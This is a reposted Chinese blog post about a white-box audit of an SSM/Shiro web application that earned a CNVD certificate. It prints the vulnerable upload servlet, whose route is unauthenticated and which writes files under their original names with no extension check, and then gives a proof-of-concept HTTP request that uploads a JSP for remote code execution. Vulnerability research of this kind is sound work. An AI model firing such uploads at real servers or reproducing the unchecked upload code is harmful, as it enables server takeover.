文章总结: 本文介绍SSM及Shiro系统的白盒审计案例。审计发现UploadRecordServlet路由未授权,且文件上传功能未过滤后缀与文件名,直接写入Web目录,导致远程代码执行。最终获得CNVD证书,建议加强权限校验与文件上传安全检测。 综合评分: 81 文章分类: 代码审计,WEB安全,漏洞分析,渗透测试,实战经验
白盒审计获得CNVD证书的案例
原创
ptr ptr
UpRoot
2026年1月28日 17:14 江苏
“没有方向,就先粗糙的开始,这过程会经历迷茫、气馁、甚至想放弃,也许会觉得自己在做一些没有用的事情,但坚持了会慢慢找到感觉。好的方向可以是在努力的路上找到的。”
代码审计
这是我十月份的漏洞报告,过去三个多月了,我的能力要比当初进步很多,这套源码今天再来看的时候,我会有更多的思考。
SSM+Shiro
从web.xml入手,我找到了该路由。
并且我在shiro的配置文件发现未对该路由做任何限制,那么这个路由就是可以未授权访问的。
我们来到com.xxx.acs.servlet.UploadRecordServlet看看内部具体逻辑。
package com.xxx.acs.servlet;
import com.xxx.acs.utils.AcsUtil;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.activation.DataSource;
import javax.mail.BodyPart;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMultipart;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
publicclass UploadRecordServlet extends HttpServlet {
Logger log = LogManager.getLogger(UploadRecordServlet.class);
public UploadRecordServlet() {
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.log.info("Uploader request: path=" + request.getPathInfo() + " querystring=" + request.getQueryString() + " sess=" + request.getSession(false));
String pathInfo = request.getPathInfo();
String[] param = pathInfo.split("/");
Integer hostId = Integer.valueOf(param[1]);
File uploadDir = null;
String ct;
try {
String recordPath = AcsUtil.getRecordPath();
ct = recordPath + param[1];
uploadDir = new File(ct);
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
} catch (Exception var14) {
Exception e = var14;
this.log.error(e.getMessage(), e);
}
if (uploadDir == null) {
this.log.error("not log dir create for host [" + hostId + "]");
} else {
int t = false;
ct = request.getContentType();
if (ct != null && ct.startsWith("multipart/form-data;")) {
MultipartDataSource src = new MultipartDataSource(request);
try {
MimeMultipart mp = new MimeMultipart(src);
this.log.info("Got body count " + mp.getCount());
BodyPart bp = mp.getBodyPart(0);
FileOutputStream fout = new FileOutputStream(uploadDir.getAbsolutePath() + File.separator + bp.getFileName());
bp.getDataHandler().writeTo(fout);
fout.close();
this.log.info("Upload data read complete.");
this.log.info("FileName = " + bp.getFileName());
this.log.info("Disposition = " + bp.getDisposition());
this.log.info("Description = " + bp.getDescription());
this.log.info("Size = " + bp.getSize());
} catch (MessagingException var13) {
MessagingException ex = var13;
this.log.error(ex.getMessage(), ex);
}
} else {
this.log.info("Uknown content type: " + ct);
}
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
public String getServletInfo() {
return"Upload log files";
}
privateclass MultipartDataSource implements DataSource {
private ByteArrayInputStream streamIn;
private String contentType;
public MultipartDataSource(HttpServletRequest request) throws IOException {
int o = 0;
int l = request.getContentLength();
InputStream s = request.getInputStream();
byte[] b;
int c;
for(b = newbyte[l]; (c = s.read(b, o, l)) > 0 && l > 0; l -= c) {
o += c;
}
this.streamIn = new ByteArrayInputStream(b);
UploadRecordServlet.this.log.info("Available: " + this.streamIn.available());
this.contentType = request.getContentType();
}
public InputStream getInputStream() throws IOException {
returnthis.streamIn;
}
public OutputStream getOutputStream() throws IOException {
thrownew IOException();
}
public String getContentType() {
returnthis.contentType;
}
public String getName() {
return"MultipartDataSource";
}
}
}
这是一个Servlet,可以接收GET、POST、PUT请求。
重点关注com.xxx.acs.servlet.UploadRecordServlet#processRequest。
这是一个文件上传处理方法。
这里我们可以看到,从/uploadrecord/xxx中拿到xxx的内容,其实也就是然后创建了名为xxx的文件夹。
我们跟进AcsUtil.getRecordPath()。
public static String getRecordPath() {
String path = AcsUtil.class.getClassLoader().getResource("").toString().replace("%20", " ");
path = path.replaceAll("file:", "");
int lastIndex = path.lastIndexOf("WEB-INF/");
path = path.substring(0, lastIndex) + "record" + File.separator;
return path;
}
发现是在WEN-INF下面创建了/record/xxx的文件夹。这个文件夹在web目录下来,同样是可以未授权访问的。
创建完文件夹后,判断Content-Type是否为multipart/form-data;,如果是则可以进行文件上传。
这里重点关注其未对后缀做任何限制,并且其直接用的原文件名,也可以造成目录穿越的危害。
于是,我们可以构造如下poc:
POST http://xxx/uploadrecord/105 HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 190
--WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: text/plain
<% out.print("test");%>
--WebKitFormBoundary7MA4YWxkTrZu0gW--
访问/record/105/1.jsp。
成功解析,造成前台RCE。
- END –
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:UpRoot ptr ptr《白盒审计获得CNVD证书的案例》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论